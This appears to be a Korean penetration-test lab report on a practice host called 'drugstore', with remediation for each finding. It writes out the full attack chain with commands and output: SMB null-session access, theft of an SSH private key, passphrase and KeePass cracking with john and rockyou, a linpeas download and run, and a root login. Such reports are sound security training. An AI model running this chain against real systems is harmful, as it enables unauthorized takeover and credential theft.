실습 3
모의해킹 실습 3
목차
- 개요
- 총평
- 취약점 목차
- 모의해킹 수행 내용
- 정보 수집
- 취약점 진단
- 호스트 초기 침투
- 권한 상승
- 취약점
- smb 널 세션 취약점
- 잘못된 ssh 개인키 권한 설정
- 잘못된 kdbx 파일 권한 설정
- ssh root 접속 허용
- anonymous ftp 취약점
개요
총평
| 분석 기간 | 호스트 이름 | IP 주소 | 목적 |
|---|---|---|---|
| 2024년 8월 27일 | drugstore | 172.31.177.177 | 보안 취약점 진단 및 침투테스트 |
본 보고서는 2024년 8월 27일 진행된 drugstore 호스트에 대한 모의해킹 작업을 요약한다. 이 과정에서 발견된 취약점과 그에 따른 침투 테스트 결과를 중점적으로 다룬다.
점검자는 smb 널 세션 취약점을 이용하여 samba-share 쉐어에 접근하였고 해당 쉐어에 존재하는 architect 유저의 개인키 파일을 획득 하였다. 이후, 획득한 파일을 사용하여 ssh를 통해 접근 시도하였으나 passphrase가 걸려있어 접근하지 못했다. passphrase 값을 크래킹 하기 위해 ssh2john을 사용하여 john 형식으로 파일을 변경 한 뒤 크래킹에 성공하였고 ssh를 통해 architect 유저로 접근 성공하였다. 접근성공 후 linpeas를 사용하여 취약점 진단 결과 특별한 취약점은 발견하지 못했지만 architect 유저의 홈 디렉토리에 존재하는 architect-vault.kdbx 파일을 발견했다. 해당 파일은 keepass를 이용한 패스워드 관리 데이터베이스 파일이므로 keepassxc를 사용하여 파일을 열어봤지만 암호화 되어있었기 때문에 keepass2john을 사용하여 john 형식으로 파일을 변경한 뒤 크래킹하였고 성공하였다. 이후, 다시 keepassxc를 사용하여 파일을 열어 root 패스워드를 획득할 수 있었고 ssh를 통해 root 유저 권한을 획득하였다.
결과적으로 테스터는 이번 모의해킹을 통해 외부 공격자가 drugstore 호스트를 완벽하게 장악할 수 있는 취약점들을 발견했다. 해당 호스트는 외부 인터넷에 노출되어 있는 상태다. 이는 인터넷에서 해당 호스트에 접근 가능한 모든 공격자들에게 해당 호스트가 장악당할 위험이 있는 상태를 의미한다. 인터넷에 노출되어 있는 호스트의 특성상 점검자는 취약점을 발견한 즉시 보안 담당자에게 연락해 취약점 정보를 제공할 필요가 있다.
진단결과 요약
아래 표는 이번 모의해킹 과정에서 발견된 주요 취약점을 요약한 것이다. 각 취약점에 대한 자세한 설명 및 대응 방안은 본 보고서의 ‘취약점’ 섹션에서 확인할 수 있다.
| 번호 | 이름 | 중요도 | 설명 | 대응 방안 |
|---|---|---|---|---|
| 1 | smb 널 세션 취약점 | 상 | smb 쉐어의 권한이 잘못 설정되어 계정과 패스워드 없이 접근 가능한 취약점 | samba 설정파일인 smb.conf 파일의 글로벌 항목의 map to guest 값을 Never로 설정 |
| 2 | 잘못된 ssh 개인키 권한 설정 | 상 | 파일 소유자가 아닌 임의의 공격자가 접근이 가능해 키를 탈취한 뒤 ssh를 사용하여 해당 개인키 소유자로 로그인 가능한 취약점 | architect_id_rsa 파일의 권한을 파일의 소유자인 root만이 읽고 쓸수 있게 권한을 설정 |
| 3 | 잘못된 kdbx 파일 권한 설정 | 상 | 파일의 소유자가 아닌 임의의 공격자가 해당 파일 탈취 할 수 있는 취약점 | architect-vault.kdbx 파일의 권한을 소유자인 root만 읽고 쓰고 실행할 수 있도록 설정 |
| 4 | ssh root 접속 허용 | 상 | 임의의 공격자가 원격으로 root 계정으로 로그인할 수 있는 취약점 | /etc/ssh/sshd_config에서 PermitRootLogin 설정을 no로 변경 |
| 5 | anonymous ftp 취약점 | 상 | ftp 접근 시 anonymous 계정으로 패스워드 없이 접근할 수 있는 취약점 | ftp 및 anonymous 계정 존재 여부 확인 후 해당 계정 존재 시 제거 |
모의해킹 수행 내용
정보 수집 - 포트 스캔
nmap을 통하여 포트스캔한 결과 아래의 포트들이 열려있는 것을 확인할 수 있었다.
┌──(kali㉿kali)-[~/drugstore]
└─$ sudo nmap -p- -sS -Pn -n -max-retries 1 -min-rate 2000 --open -oA tcpall 172.31.177.177
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 03:40 EDT
Nmap scan report for 172.31.177.177
Host is up (0.011s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
39521/tcp open unknown
40911/tcp open unknown
43665/tcp open unknown
44525/tcp open unknown
52915/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds
다시 nmap을 사용하여 해당 포트들의 실행중인 서비스의 버전 정보를 확인할 수 있었다.
# Nmap 7.94SVN scan initiated Tue Aug 27 03:52:15 2024 as: nmap -p 21,22,111,139,445,2049,39521,40911,43665,44525,52915 -Pn -n --open -sC -sV -oA tcpdetail 172.31.177.177
Nmap scan report for 172.31.177.177
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
[...]
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
[...]
111/tcp open rpcbind 2-4 (RPC #100000)
[...]
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
2049/tcp open nfs 3-4 (RPC #100003)
39521/tcp open mountd 1-3 (RPC #100005)
40911/tcp open mountd 1-3 (RPC #100005)
43665/tcp open status 1 (RPC #100024)
44525/tcp open nlockmgr 1-4 (RPC #100021)
52915/tcp open mountd 1-3 (RPC #100005)
[...]
취약점 진단
searchsplpit을 사용한 결과 특별한 취약점은 찾을 수 없었다. 하지만 smb 서비스를 실행하고 있으므로 enmu4linux를 사용하여 samba 널 세션 취약점을 찾았다.
┌──(kali㉿kali)-[~/drugstore]
└─$ enum4linux -a 172.31.177.177
[...]
==================================( Session Check on 172.31.177.177 )==================================
[+] Server 172.31.177.177 allows sessions using username '', password ''
[...]
그 후, smbmap을 사용하여 samba-share라는 접근가능한 smb쉐어를 찾았다.
┌──(kali㉿kali)-[~/drugstore]
└─$ smbmap -H 172.31.177.177
[...]
[+] IP: 172.31.177.177:445 Name: 172.31.177.177 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
samba-share READ ONLY
IPC$ NO ACCESS IPC Service (ip-172-31-177-177 server (Samba, Ubuntu))
호스트 초기 침투
널 세션 취약점과 접근가능한 smb쉐어를 찾았으니 smbclient를 사용하여 접근을 시도했고 성공했다.
┌──(kali㉿kali)-[~/drugstore]
└─$ smbclient \\\\172.31.177.177\\samba-share
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \>
성공적으로 접근 한 뒤 ls명령어를 사용한 결과 architect유저의 개인키 파일로 추측되는 architect_id_rsa파일을 확인할 수 있었다.
smb: \> ls
. D 0 Fri Oct 6 22:29:33 2023
.. D 0 Tue Aug 27 03:37:24 2024
architect_id_rsa N 3414 Fri Oct 6 22:29:33 2023
7941576 blocks of size 1024. 5595212 blocks available
get을 사용해 개인키 파일을 가져온 뒤 ssh를 통해 해당 계정으로 로그인 시도 한 결과 passphrase가 걸려있는 것을 확인할 수 있었다.
smb: \> get architect_id_rsa
getting file \architect_id_rsa of size 3414 as architect_id_rsa (72.5 KiloBytes/sec) (average 72.5 KiloBytes/sec)
┌──(kali㉿kali)-[~/drugstore]
└─$ ssh -i architect_id_rsa architect@172.31.177.177
The authenticity of host '172.31.177.177 (172.31.177.177)' can't be established.
ED25519 key fingerprint is SHA256:GwnQqVUEtppm0JwhkceK6oZqoNrMwN+lR/CLsixT2+I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.31.177.177' (ED25519) to the list of known hosts.
Enter passphrase for key 'architect_id_rsa':
passphrase가 걸려있으므로 이를 크래킹하기 위해 ssh2john을 사용하여 개인키 형식을 john 형식으로 변경했고, johntheripper를 사용하여 패스워드 크래킹을 성공했다.
┌──(kali㉿kali)-[~/drugstore]
└─$ ssh2john architect_id_rsa > architect.hash
┌──(kali㉿kali)-[~/drugstore]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt architect.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
casper (architect_id_rsa) #architect 개인키 passpharase 패스워드
1g 0:00:00:14 DONE (2024-08-27 04:46) 0.06743g/s 19.42p/s 19.42c/s 19.42C/s barcelona..brenda
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
passphrase 값을 알아냈으므로 ssh를 사용하여 architect유저로 접속 성공했다.
──(kali㉿kali)-[~/drugstore]
└─$ ssh -i architect_id_rsa architect@172.31.177.177
Enter passphrase for key 'architect_id_rsa':
[...]
architect@ip-172-31-177-177:~$
권한 상승
호스트 침투에 성공했으므로 linpeas를 칼리 리눅스에서 업로드 한 뒤 사용하여 권한 상승을 위한 취약점 서칭을 했지만 특별한 취약점은 발견하지 못했고, 수동점검을 수행했으나 마찬가지로 특별한 취약점을 발견하지 못했으나, architect 유저 홈 디렉토리에 architect-vault.kdbx 파일을 발견하여 이를 조사하였다.
┌──(kali㉿kali)-[~/drugstore]
└─$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
172.31.177.177 - - [27/Aug/2024 06:04:28] "GET /linpeas.sh HTTP/1.1" 200 -
---------------------------------------------------------------------------------------------------------------
architect@ip-172-31-177-177:/tmp$ wget http://10.8.0.140:9999/linpeas.sh
--2024-08-27 10:04:52-- http://10.8.0.140:9999/linpeas.sh
Connecting to 10.8.0.140:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860335 (840K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[====================================================================================================>] 840.17K --.-KB/s in 0.1s
2024-08-27 10:04:52 (7.61 MB/s) - ‘linpeas.sh’ saved [860335/860335]
architect@ip-172-31-177-177:/tmp$ chmod +x linpeas.sh
architect@ip-172-31-177-177:/tmp$ ./lieneas.sh
---------------------------------------------------------------------------------------------------------------
architect@ip-172-31-177-177:~$ ls
architect-vault.kdbx
kdbx 파일 이란 keepass를 사용해 여러 패스워드를 관리하는 패스워드 관리 데이터베이스 파일이다. 이를 사용하려면 keepassxc를 사용해야 하므로 일단 scp를 사용하여 칼리 리눅스로 파일을 가져왔다.
┌──(kali㉿kali)-[~/drugstore]
└─$ scp -i architect_id_rsa architect@172.31.177.177:/home/architect/architect-vault.kdbx .
Enter passphrase for key 'architect_id_rsa':
architect-vault.kdbx
이 후, keepassxc를 실행하기 위해 아래의 명령어를 입력하였다.
┌──(kali㉿kali)-[~/drugstore]
└─$ sudo apt install software-properties-common -y # add-apt-repository 를 사용하기 위해 다운로드
┌──(kali㉿kali)-[~/drugstore]
└─$ sudo add-apt-repository ppa:phoerious/keepassxc # ppa 저장소 추가
┌──(kali㉿kali)-[~/drugstore]
└─$ sudo apt update -y
┌──(kali㉿kali)-[~/drugstore]
└─$ sudo apt install keepassxc -y # keepassxc 다운로드
keepassxc를 사용하여 접근하였으나 패스워드가 필요한 것을 확인하였고, 패스워드를 크래킹 하기 위해 keepass2john을 사용하여 파일 형식을 john 형식으로 변경한 뒤 johntheripper를 사용하여 크래킹 하였다.

┌──(kali㉿kali)-[~/drugstore]
└─$ keepass2john architect-vault.kdbx > architect-vault.hash
┌──(kali㉿kali)-[~/drugstore]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt architect-vault.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 10000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
london (architect-vault) # keepass 패스워드
1g 0:00:00:00 DONE (2024-08-27 06:18) 1.639g/s 786.8p/s 786.8c/s 786.8C/s linda..marie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
이 후, 알아낸 keepass 패스워드를 통해 architect-vault.kdbx파일에 접근 성공했으며 root 패스워드를 알아낼 수 있었고, ssh를 통하여 권한 상승을 성공적으로 수행 하였다.

┌──(kali㉿kali)-[~/drugstore]
└─$ ssh root@172.31.177.177
root@172.31.177.177's password:
[...]
root@ip-172-31-177-177:~# id;hostname;whoami
uid=0(root) gid=0(root) groups=0(root)
ip-172-31-177-177
root
root@ip-172-31-177-177:~#
취약점
1. smb 널 세션 취약점
취약점 개요
| 정보 | 설명 |
|---|---|
| 이름 | smb 널 세션 취약점 |
| 중요도 | 상 |
취약점 설명
smb 쉐어의 권한이 잘못 설정되어 null session으로 접근 가능하다. null session으로 접근 가능한 쉐어는 도메인 유저 맥락, 계정 정보가 없어도 접근이 가능하다.
개념 증명
enum4linux를 사용하여 smb 널 세션 취약점을 발견하였고 smbmap을 사용하여 접근 가능한 smb 쉐어를 찾은 뒤 smbclient를 통해 널 세션 로그인을 성공 하였다.
┌──(kali㉿kali)-[~/drugstore]
└─$ enum4linux -a 172.31.177.177
[...]
==================================( Session Check on 172.31.177.177 )==================================
[+] Server 172.31.177.177 allows sessions using username '', password ''
[...]
┌──(kali㉿kali)-[~/drugstore]
└─$ smbmap -H 172.31.177.177
[...]
[+] IP: 172.31.177.177:445 Name: 172.31.177.177 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
samba-share READ ONLY
IPC$ NO ACCESS IPC Service (ip-172-31-177-177 server (Samba, Ubuntu))
┌──(kali㉿kali)-[~/drugstore]
└─$ smbclient \\\\172.31.177.177\\samba-share
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \>
대응 방안
samba 설정파일인 smb.conf 파일의 글로벌 항목의 map to guest 값을 Never로 설정하여 계정과 암호 없이 접근 불가능하게 설정한다.
vim /etc/samba/smb.conf
[globar]
map to guest = Never
쉐어 항목의 public, guest ok 항목을 no로 설정하여 개인 사용자만 접근 가능하도록 한다.
[share]
[...]
public = yes -> no
guest ok = yes -> no
레퍼런스
2. 잘못된 ssh 개인키 권한 설정
취약점 개요
| 정보 | 설명 |
|---|---|
| 이름 | 잘못된 ssh 개인키 권한 설정 |
| 중요도 | 상 |
취약점 설명
해당 취약점은 samba-share 쉐어 안의 개인키 파일인 id_rsa 파일의 권한을 잘못설정하여 파일 소유자가 아닌 임의의 공격자가 접근이 가능해 키를 탈취한 뒤 ssh를 사용하여 해당 개인키 소유자로 로그인 가능한 취약점이다.
개념 증명
개인키 파일의 권한이 모든 사용자에게 읽고 쓰고 실행할 수 있게 설정되어 있으므로 get을 통하여 칼리 리눅스로 파일을 가져온 뒤 passphrase 값을 크래킹하기 위해 ssh2john을 사용하여 john 형식으로 변환시킨 뒤 크래킹을 진행하여 성공했다.
architect@ip-172-31-192-83:/samba$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Oct 7 2023 .
drwxr-xr-x 21 root root 4096 Aug 27 11:20 ..
-rwxrwxrwx 1 root root 3414 Oct 7 2023 architect_id_rsa
smb: \> get architect_id_rsa
getting file \architect_id_rsa of size 3414 as architect_id_rsa (72.5 KiloBytes/sec) (average 72.5 KiloBytes/sec)
┌──(kali㉿kali)-[~/drugstore]
└─$ ssh2john architect_id_rsa > architect.hash
┌──(kali㉿kali)-[~/drugstore]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt architect.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
casper (architect_id_rsa) #architect 개인키 passpharase 패스워드
1g 0:00:00:14 DONE (2024-08-27 04:46) 0.06743g/s 19.42p/s 19.42c/s 19.42C/s barcelona..brenda
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
passphrase 값을 알아냈으므로 ssh를 사용하여 architect유저로 접속 성공했다.
──(kali㉿kali)-[~/drugstore]
└─$ ssh -i architect_id_rsa architect@172.31.177.177
Enter passphrase for key 'architect_id_rsa':
[...]
architect@ip-172-31-177-177:~$
대응 방안
architect_id_rsa 파일의 권한을 파일의 소유자인 root만이 읽고 쓸수 있게 권한을 설정한다.
chmod 600 architect_id_rsa
레퍼런스
3. 잘못된 kdbx 파일 권한 설정
취약점 개요
| 정보 | 설명 |
|---|---|
| 이름 | 잘못된 kdbx 파일 권한 설정 |
| 중요도 | 상 |
취약점 설명
kdbx 파일의 권한을 임의의 사용자가 읽고 쓰고 실행할 수 있게 설정해 놓았기 때문에 임의의 공격자가 해당 파일 탈취 할 수 있는 취약점 이다.
개념 증명
점검자는 해당 파일 탈취 후 파일을 john 형식으로 변경한 뒤 패스워드 크래킹을 진행하였고, 성공하여 root 계정의 패스워드를 획득하였다.
architect@ip-172-31-192-83:~$ ls -al
total 32
drwxr-x--- 4 architect architect 4096 Aug 27 11:23 .
drwxr-xr-x 4 root root 4096 Oct 7 2023 ..
-rw-r--r-- 1 architect architect 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 architect architect 3771 Jan 6 2022 .bashrc
drwx------ 2 architect architect 4096 Aug 27 11:23 .cache
-rw-r--r-- 1 architect architect 807 Jan 6 2022 .profile
drwx------ 2 architect architect 4096 Oct 7 2023 .ssh
-r--r--rwx 1 root root 1422 Oct 7 2023 architect-vault.kdbx
┌──(kali㉿kali)-[~/drugstore]
└─$ scp -i architect_id_rsa architect@172.31.177.177:/home/architect/architect-vault.kdbx .
Enter passphrase for key 'architect_id_rsa':
architect-vault.kdbx
┌──(kali㉿kali)-[~/drugstore]
└─$ keepass2john architect-vault.kdbx > architect-vault.hash
┌──(kali㉿kali)-[~/drugstore]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt architect-vault.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 10000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
london (architect-vault) # keepass 패스워드
1g 0:00:00:00 DONE (2024-08-27 06:18) 1.639g/s 786.8p/s 786.8c/s 786.8C/s linda..marie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(kali㉿kali)-[~/drugstore]
└─$ ssh root@172.31.177.177
root@172.31.177.177's password:
[...]
root@ip-172-31-177-177:~# id;hostname;whoami
uid=0(root) gid=0(root) groups=0(root)
ip-172-31-177-177
root
root@ip-172-31-177-177:~#
대응 방안
architect-vault.kdbx 파일의 권한을 소유자인 root만 읽고 쓰고 실행할 수 있도록 설정한다.
chmod 700 architect-vault.kdbx
레퍼런스
4. ssh root 접속 허용
취약점 개요
| 정보 | 설명 |
|---|---|
| 이름 | ssh root 원격 접속 허용 |
| 중요도 | 상 |
취약점 설명
ssh root 원격 접속을 허용하여 임의의 공격자가 원격으로 root 계정으로 로그인할 수 있는 취약점 이다. root 유저로 원격 접속을 할 경우 어떠한 user가 접속하였는지 확인이 불가능 하다.
개념 증명
ssh를 통하여 root 계정으로 로그인 시도하니 원격 접속 성공한 것을 확인할 수 있다.
┌──(kali㉿kali)-[~/drugstore]
└─$ ssh root@172.31.177.177
root@172.31.177.177's password:
root@ip-172-31-177-177:~#
대응 방안
/etc/ssh/sshd_config에서 PermitRootLogin 설정을 no로 변경하여 ssh를 통한 root 원격 접속을 제한 한다.
vim /etc/ssh/sshd_config
[...]
PermitRootLogin yes -> no
레퍼런스
5. anonymous ftp 취약점
취약점 개요
| 정보 | 설명 |
|---|---|
| 이름 | anonymous ftp 취약점 |
| 중요도 | 상 |
취약점 설명
anonymous 접근을 허용할 경우 ftp 접근 시 anonymous 계정으로 패스워드 없이 접근할 수 있는 취약점 이다. 패스워드 없이 ftp에 접근 한 뒤 악의적인 파일 업로드 및 중요 파일 다운로드를 진행할 수 있다.
개념 증명
ftp를 사용하여 anonymous 계정으로 로그인 시도하니 성공한 것을 볼 수 있다.
┌──(kali㉿kali)-[~/drugstore]
└─$ ftp 172.31.177.177
Connected to 172.31.177.177.
220 (vsFTPd 3.0.5)
Name (172.31.177.177:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
대응 방안
ftp 및 anonymous 계정 존재 여부 확인 후 해당 계정 존재 시 제거하여 접속 제한 한다.
cat /etc/passwd | grep "ftp|anonymous"
userdel ftp
userdel anonymous
ProFTP 사용시 proftpd.conf 파일에 존재하는 anonymous 섹션 전체를 주석처리 및 제거한 뒤 서비스를 재시작 한다.
vim /etc/proftpd.conf
[...]
<Anonymous ~ftp> </Anonymous> <- 제거
vsftp 사용시 vsftpd.conf 파일에 존재하는 anonymous_enable 을 NO로 설정한다.
vim /etc/vsftpd/vsftpd.conf
[...]
anonymous_enable = NO